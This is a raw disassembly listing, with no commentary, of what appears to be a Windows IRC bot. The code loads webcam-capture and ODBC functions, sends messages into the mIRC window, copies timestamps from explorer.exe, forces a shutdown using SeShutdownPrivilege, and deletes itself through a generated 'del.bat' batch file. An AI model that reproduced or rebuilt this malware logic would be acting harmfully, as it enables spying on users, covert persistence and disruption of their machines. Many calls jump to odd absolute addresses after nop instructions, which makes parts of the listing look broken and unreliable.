loc_40A3B2 ; --------------------------------------------------------------------------- loc_40A3A7: ; CODE XREF: sub_40981F+B5Ej nop call near ptr 26402CBh mov dword_43F784, eax loc_40A3B2: ; CODE XREF: sub_40981F+B80j ; sub_40981F+B86j mov dword_43F780, 1 loc_40A3BC: ; CODE XREF: sub_40981F+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A445 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_43F6A4, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_43F6F0, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_43F62C, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_43F5EC, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_43F684, eax call esi cmp dword_43F6A4, ebx mov dword_43F5F8, eax jz short loc_40A450 cmp dword_43F6F0, ebx jz short loc_40A450 cmp dword_43F62C, ebx jz short loc_40A450 cmp dword_43F5EC, ebx jz short loc_40A450 cmp dword_43F684, ebx jz short loc_40A450 cmp eax, ebx jnz short loc_40A45A jmp short loc_40A450 ; --------------------------------------------------------------------------- loc_40A445: ; CODE XREF: sub_40981F+BA8j call near ptr 26402CBh nop mov dword_43F78C, eax loc_40A450: ; CODE XREF: sub_40981F+BFEj ; sub_40981F+C06j ... mov dword_43F788, 1 loc_40A45A: ; CODE XREF: sub_40981F+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A48F push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_43F5C0, eax call esi cmp dword_43F5C0, ebx mov dword_43F698, eax jz short loc_40A49A cmp eax, ebx jnz short loc_40A4A4 jmp short loc_40A49A ; --------------------------------------------------------------------------- loc_40A48F: ; CODE XREF: sub_40981F+C46j nop call near ptr 26402CBh mov dword_43F794, eax loc_40A49A: ; CODE XREF: sub_40981F+C68j ; sub_40981F+C6Ej mov dword_43F790, 1 loc_40A4A4: ; CODE XREF: sub_40981F+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_40981F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A4AC proc near ; CODE XREF: sub_40EE72+57D3p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_43F728, esi push edi mov edi, [ebp+arg_8] jz short loc_40A4F4 push dword_43F72C lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A4F4: ; CODE XREF: sub_40A4AC+1Aj cmp dword_43F730, esi jz short loc_40A528 push dword_43F734 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A528: ; CODE XREF: sub_40A4AC+4Ej cmp dword_43F738, esi jz short loc_40A55C push dword_43F73C lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A55C: ; CODE XREF: sub_40A4AC+82j cmp dword_43F740, esi jz short loc_40A590 push dword_43F744 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A590: ; CODE XREF: sub_40A4AC+B6j cmp dword_43F748, esi jz short loc_40A5C4 push dword_43F74C lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A5C4: ; CODE XREF: sub_40A4AC+EAj cmp dword_43F750, esi jz short loc_40A5F8 push dword_43F754 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A5F8: ; CODE XREF: sub_40A4AC+11Ej cmp dword_43F758, esi jz short loc_40A62C push dword_43F75C lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A62C: ; CODE XREF: sub_40A4AC+152j cmp dword_43F760, esi jz short loc_40A660 push dword_43F764 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A660: ; CODE XREF: sub_40A4AC+186j cmp dword_43F768, esi jz short loc_40A694 push dword_43F76C lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A694: ; CODE XREF: sub_40A4AC+1BAj cmp dword_43F770, esi jz short loc_40A6C8 push dword_43F774 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A6C8: ; CODE XREF: sub_40A4AC+1EEj cmp dword_43F778, esi jz short loc_40A6FC push dword_43F77C lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A6FC: ; CODE XREF: sub_40A4AC+222j cmp dword_43F780, esi jz short loc_40A730 push dword_43F784 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A730: ; CODE XREF: sub_40A4AC+256j cmp dword_43F788, esi jz short loc_40A764 push dword_43F78C lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A764: ; CODE XREF: sub_40A4AC+28Aj cmp dword_43F790, esi jz short loc_40A798 push dword_43F794 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_4172B0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 20h loc_40A798: ; CODE XREF: sub_40A4AC+2BEj lea eax, [ebp+var_200] push offset unk_42D764 push eax call sub_4172B0 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A7C5 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40D679 add esp, 14h loc_40A7C5: ; CODE XREF: sub_40A4AC+302j lea eax, [ebp+var_200] push eax call sub_40BF6D pop ecx pop edi pop esi pop ebx leave retn sub_40A4AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7D7 proc near ; CODE XREF: sub_40EE72+C5Ep ; sub_40EE72+C92p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_40A862 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_40A862 cmp [ebp+arg_8], esi jz short loc_40A862 cmp byte ptr [eax], 0 jz short loc_40A862 push ebx push edi call sub_42274B mov ebx, eax pop ecx test ebx, ebx jz short loc_40A85D push [ebp+arg_4] push edi call sub_417880 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40A856 sub eax, edi push eax push edi push ebx call sub_418C10 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_417AB0 push eax push [ebp+arg_8] push ebx call sub_418DE0 push [ebp+arg_4] call sub_417AB0 add eax, esi push eax push ebx call sub_4179D0 push ebx push edi call sub_4179C0 add esp, 30h mov esi, edi loc_40A856: ; CODE XREF: sub_40A7D7+3Cj push ebx call sub_417C3B pop ecx loc_40A85D: ; CODE XREF: sub_40A7D7+2Bj mov eax, esi pop ebx jmp short loc_40A864 ; --------------------------------------------------------------------------- loc_40A862: ; CODE XREF: sub_40A7D7+Cj ; sub_40A7D7+13j ... xor eax, eax loc_40A864: ; CODE XREF: sub_40A7D7+89j pop edi pop esi pop ebp retn sub_40A7D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A868 proc near ; CODE XREF: sub_40ECFA+E9p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_417330 mov esi, [ebp+arg_0] push esi call sub_417AB0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_40A89E loc_40A899: ; DATA XREF: ___:00428424o ; ___:00428468o ... or eax, 0FFFFFFFFh jmp short loc_40A911 ; --------------------------------------------------------------------------- loc_40A89E: ; CODE XREF: sub_40A868+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_40A8C0 loc_40A8AA: ; CODE XREF: sub_40A868+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_40A8B7 cmp dl, 0Dh jnz short loc_40A8BB loc_40A8B7: ; CODE XREF: sub_40A868+48j and byte ptr [ecx+esi], 0 loc_40A8BB: ; CODE XREF: sub_40A868+4Dj inc ecx cmp ecx, eax jl short loc_40A8AA loc_40A8C0: ; CODE XREF: sub_40A868+40j xor edx, edx push edi test eax, eax jle short loc_40A8F1 lea edi, [ebp+var_7CC] loc_40A8CD: ; CODE XREF: sub_40A868+87j cmp byte ptr [edx+esi], 0 jnz short loc_40A8EC cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_40A8EC cmp ebx, 1F4h jge short loc_40A8F1 mov [edi], ecx inc ebx add edi, 4 loc_40A8EC: ; CODE XREF: sub_40A868+69j ; sub_40A868+74j inc edx cmp edx, eax jl short loc_40A8CD loc_40A8F1: ; CODE XREF: sub_40A868+5Dj ; sub_40A868+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_40A90F lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_417390 add esp, 0Ch loc_40A90F: ; CODE XREF: sub_40A868+8Ej mov eax, ebx loc_40A911: ; CODE XREF: sub_40A868+34j pop esi pop ebx leave retn sub_40A868 endp ; =============== S U B R O U T I N E ======================================= sub_40A915 proc near ; CODE XREF: sub_40A96F+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_40A94E push ebx mov ebx, edi loc_40A932: ; CODE XREF: sub_40A915+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_40A951 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_40A932 pop ebx loc_40A94E: ; CODE XREF: sub_40A915+18j pop edi pop esi retn sub_40A915 endp ; =============== S U B R O U T I N E ======================================= sub_40A951 proc near ; CODE XREF: sub_40A915+25p ; sub_40A96F+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_419101 cmp al, 61h pop ecx jl short loc_40A96C cmp al, 7Ah jg short loc_40A96C movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_40A96C: ; CODE XREF: sub_40A951+Ej ; sub_40A951+12j xor eax, eax retn sub_40A951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A96F proc near ; CODE XREF: sub_40C04D+10p ; sub_40C07F+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_417B30 push ebx push esi push edi push [ebp+arg_0] call sub_417AB0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_417AB0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_40A915 add esp, 14h dec esi mov edi, esi loc_40A9AD: ; CODE XREF: sub_40A96F+B6j test esi, esi jle short loc_40AA2B mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_419101 mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_419101 pop ecx cmp eax, ebx pop ecx jz short loc_40AA23 loc_40A9D3: ; CODE XREF: sub_40A96F+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_40A951 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_40A9F4 mov eax, ecx loc_40A9F4: ; CODE XREF: sub_40A96F+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_40AA27 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_419101 mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_419101 pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_40A9D3 loc_40AA23: ; CODE XREF: sub_40A96F+62j dec edi dec esi jmp short loc_40A9AD ; --------------------------------------------------------------------------- loc_40AA27: ; CODE XREF: sub_40A96F+8Aj xor eax, eax jmp short loc_40AA30 ; --------------------------------------------------------------------------- loc_40AA2B: ; CODE XREF: sub_40A96F+40j mov eax, [ebp+arg_0] add eax, edi loc_40AA30: ; CODE XREF: sub_40A96F+BAj pop edi pop esi pop ebx leave retn sub_40A96F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AA35 proc near ; CODE XREF: sub_40EE72+3C8Ep ; sub_40EE72+4AF7p var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 26402CBh mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 2710157h lea eax, [ebp+var_100] loc_40AA6E: ; CODE XREF: sub_40AA35+46j mov cl, [eax] cmp cl, 1Fh jg short loc_40AA7A cmp cl, 9 jnz short loc_40AA7D loc_40AA7A: ; CODE XREF: sub_40AA35+3Ej inc eax jmp short loc_40AA6E ; --------------------------------------------------------------------------- loc_40AA7D: ; CODE XREF: sub_40AA35+43j ; sub_40AA35+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_40AA97 mov cl, [eax] cmp cl, 2Eh jz short loc_40AA7D cmp cl, 21h jl short loc_40AA7D loc_40AA97: ; CODE XREF: sub_40AA35+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_43F798 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41782A add esp, 18h mov eax, esi pop esi leave retn sub_40AA35 endp ; =============== S U B R O U T I N E ======================================= sub_40AABF proc near ; CODE XREF: sub_40EE72+5732p push esi push 0 call dword_43F638 test eax, eax jz short loc_40AAF6 push 1 call dword_43F658 mov esi, eax test esi, esi jz short loc_40AAF6 push edi push esi nop call near ptr 2720639h push esi mov edi, eax nop call near ptr 2720000h call dword_43F6BC mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40AAF6: ; CODE XREF: sub_40AABF+Bj ; sub_40AABF+19j xor eax, eax pop esi retn sub_40AABF endp ; =============== S U B R O U T I N E ======================================= sub_40AAFA proc near ; CODE XREF: sub_40EE72+48C1p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc ; "mIRC" push esi push edi call dword_43F674 mov ebp, eax cmp ebp, esi jz short loc_40AB76 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 2730000h push esi push esi mov edi, eax push esi push 0F001Fh push edi nop call near ptr 2590000h push [esp+10h+arg_0] mov ebx, eax push ebx call sub_4172B0 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_43F6C4 push esi push 1 push 4C9h push ebp call dword_43F6C4 push ebx call near ptr 2720D35h nop push edi nop call near ptr 2621910h push 1 pop eax pop ebx jmp short loc_40AB78 ; --------------------------------------------------------------------------- loc_40AB76: ; CODE XREF: sub_40AAFA+16j xor eax, eax loc_40AB78: ; CODE XREF: sub_40AAFA+7Aj pop edi pop esi pop ebp retn sub_40AAFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB7C proc near ; CODE XREF: sub_40E6A9+212p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_43F724 test eax, eax jz short loc_40AC1B mov edi, 80h push esi push edi push 3 push esi mov esi, dword_424084 push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40AC1B lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 2740000h push ebx mov ebx, dword_424078 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40AC1B lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call near ptr 27307D4h nop push esi call ebx loc_40AC1B: ; CODE XREF: sub_40AB7C+2Aj ; sub_40AB7C+51j ... pop edi pop esi pop ebx leave retn sub_40AB7C endp ; =============== S U B R O U T I N E ======================================= sub_40AC20 proc near ; CODE XREF: sub_40EE72+13C4p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_41511F pop ecx pop ecx push 50005h push 6 call dword_43F5B0 neg eax sbb eax, eax neg eax retn sub_40AC20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC42 proc near ; CODE XREF: sub_40CAF1+472p ; sub_40EE72+59D4p var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_42F5C0, esi push edi jz short loc_40AC66 cmp dword_43F738, esi jnz short loc_40AC66 push esi call sub_40C1AE pop ecx loc_40AC66: ; CODE XREF: sub_40AC42+13j ; sub_40AC42+1Bj call sub_416F25 lea eax, [ebp+var_764] push eax push 400h call near ptr 2751215h nop lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 2640000h mov edi, eax cmp edi, esi jbe loc_40ADC6 lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_4172B0 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 2630000h nop push edi nop call near ptr 2621910h push 10h lea eax, [ebp+var_14] push esi push eax call sub_417330 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_417330 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset byte_43C80C mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 2710000h push eax nop call near ptr 2650000h lea eax, [ebp+var_15C] push eax call near ptr 26802F9h nop cmp eax, 0FFFFFFFFh jz short loc_40AD6E lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 2751167h loc_40AD6E: ; CODE XREF: sub_40AC42+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_4172B0 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2750000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 27404D9h loc_40ADC6: ; CODE XREF: sub_40AC42+72j pop edi pop esi leave retn sub_40AC42 endp ; =============== S U B R O U T I N E ======================================= sub_40ADCA proc near ; CODE XREF: sub_4013EC+7p ; sub_401992+7p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_43F6A8 cmp eax, 0FFFFFFFFh jnz short locret_40ADF2 push [esp+arg_0] call dword_43F6EC test eax, eax jnz short loc_40ADEB or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40ADEB: ; CODE XREF: sub_40ADCA+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40ADF2: ; CODE XREF: sub_40ADCA+Dj retn sub_40ADCA endp ; =============== S U B R O U T I N E ======================================= sub_40ADF3 proc near ; CODE XREF: sub_40EB92+D6p mov ecx, dword_43F590 xor eax, eax test ecx, ecx jz short locret_40AE01 call ecx locret_40AE01: ; CODE XREF: sub_40ADF3+Aj retn sub_40ADF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE02 proc near ; CODE XREF: sub_40EE72:loc_414556p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_43F6E4 mov ecx, eax sub ecx, edi jz loc_40AEC8 sub ecx, 32h jz loc_40AEC1 sub ecx, 48h jz short loc_40AE62 sub ecx, 6Eh jz short loc_40AE5B loc_40AE44: ; CODE XREF: sub_40AE02+8Bj push eax lea eax, [ebp+var_88] push offset unk_42DA5C push eax call sub_4172B0 add esp, 0Ch jmp short loc_40AEA2 ; --------------------------------------------------------------------------- loc_40AE5B: ; CODE XREF: sub_40AE02+40j push offset unk_42DA28 jmp short loc_40AE94 ; --------------------------------------------------------------------------- loc_40AE62: ; CODE XREF: sub_40AE02+3Bj push [ebp+var_8] call sub_417B89 push [ebp+var_8] mov esi, eax push edi push esi call sub_417330 add esp, 10h cmp esi, edi jz short loc_40AE8F lea eax, [ebp+var_8] push ebx push eax push esi call dword_43F6E4 cmp eax, edi jz short loc_40AEC8 jmp short loc_40AE44 ; --------------------------------------------------------------------------- loc_40AE8F: ; CODE XREF: sub_40AE02+79j push offset unk_42D9E8 loc_40AE94: ; CODE XREF: sub_40AE02+5Ej ; sub_40AE02+C4j lea eax, [ebp+var_88] push eax call sub_4172B0 pop ecx pop ecx loc_40AEA2: ; CODE XREF: sub_40AE02+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_40BF6D pop ecx loc_40AEB2: ; CODE XREF: sub_40AE02+C8j ; sub_40AE02+DCj push esi call sub_417C3B mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AEC1: ; CODE XREF: sub_40AE02+32j push offset unk_42D9A8 jmp short loc_40AE94 ; --------------------------------------------------------------------------- loc_40AEC8: ; CODE XREF: sub_40AE02+29j ; sub_40AE02+89j cmp [esi], edi jbe short loc_40AEB2 lea ebx, [esi+4] loc_40AECF: ; CODE XREF: sub_40AE02+DAj push ebx call dword_43F6E0 inc edi add ebx, 18h cmp edi, [esi] jb short loc_40AECF jmp short loc_40AEB2 sub_40AE02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEE0 proc near ; CODE XREF: sub_40144A+243p ; sub_401D82+268p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_43F60C movzx eax, [ebp+var_D] push eax mov esi, offset dword_43F99C movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_4172B0 add esp, 18h mov eax, esi pop esi leave retn sub_40AEE0 endp ; =============== S U B R O U T I N E ======================================= sub_40AF39 proc near ; CODE XREF: sub_4010B5+24Cp ; sub_4010B5+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AF62 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AF55: ; CODE XREF: sub_40AF39+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AF55 pop edi jmp short loc_40AF66 ; --------------------------------------------------------------------------- loc_40AF62: ; CODE XREF: sub_40AF39+Aj mov edx, [esp+4+arg_0] loc_40AF66: ; CODE XREF: sub_40AF39+27j test esi, esi pop esi jz short loc_40AF70 movzx ecx, byte ptr [edx] add eax, ecx loc_40AF70: ; CODE XREF: sub_40AF39+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AF39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF86 proc near ; DATA XREF: sub_40EE72+2E51o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_417B30 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd push 1 pop edi mov [eax+120h], edi call dword_43F5F4 mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_43F6A8 mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_40AFE1 lea eax, [ebp+var_C0] push eax call dword_43F6EC cmp eax, ebx jz short loc_40AFE7 loc_40AFE1: ; CODE XREF: sub_40AF86+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_40B044 loc_40AFE7: ; CODE XREF: sub_40AF86+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_42DAD8 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_40B027 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_40D679 add esp, 14h loc_40B027: ; CODE XREF: sub_40AF86+7Fj lea eax, [ebp+var_344] push eax call sub_40BF6D push [ebp+var_30] call sub_417078 pop ecx pop ecx push edi call near ptr 25F0973h nop loc_40B044: ; CODE XREF: sub_40AF86+5Fj cmp eax, ebx jz short loc_40B054 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_40B057 ; --------------------------------------------------------------------------- loc_40B054: ; CODE XREF: sub_40AF86+C0j mov [ebp+var_4], esi loc_40B057: ; CODE XREF: sub_40AF86+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_417330 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_40B077 mov [ebp+var_3C], eax loc_40B077: ; CODE XREF: sub_40AF86+ECj cmp [ebp+var_38], edi jge short loc_40B07F mov [ebp+var_38], edi loc_40B07F: ; CODE XREF: sub_40AF86+F4j xor esi, esi cmp [ebp+var_40], ebx jle short 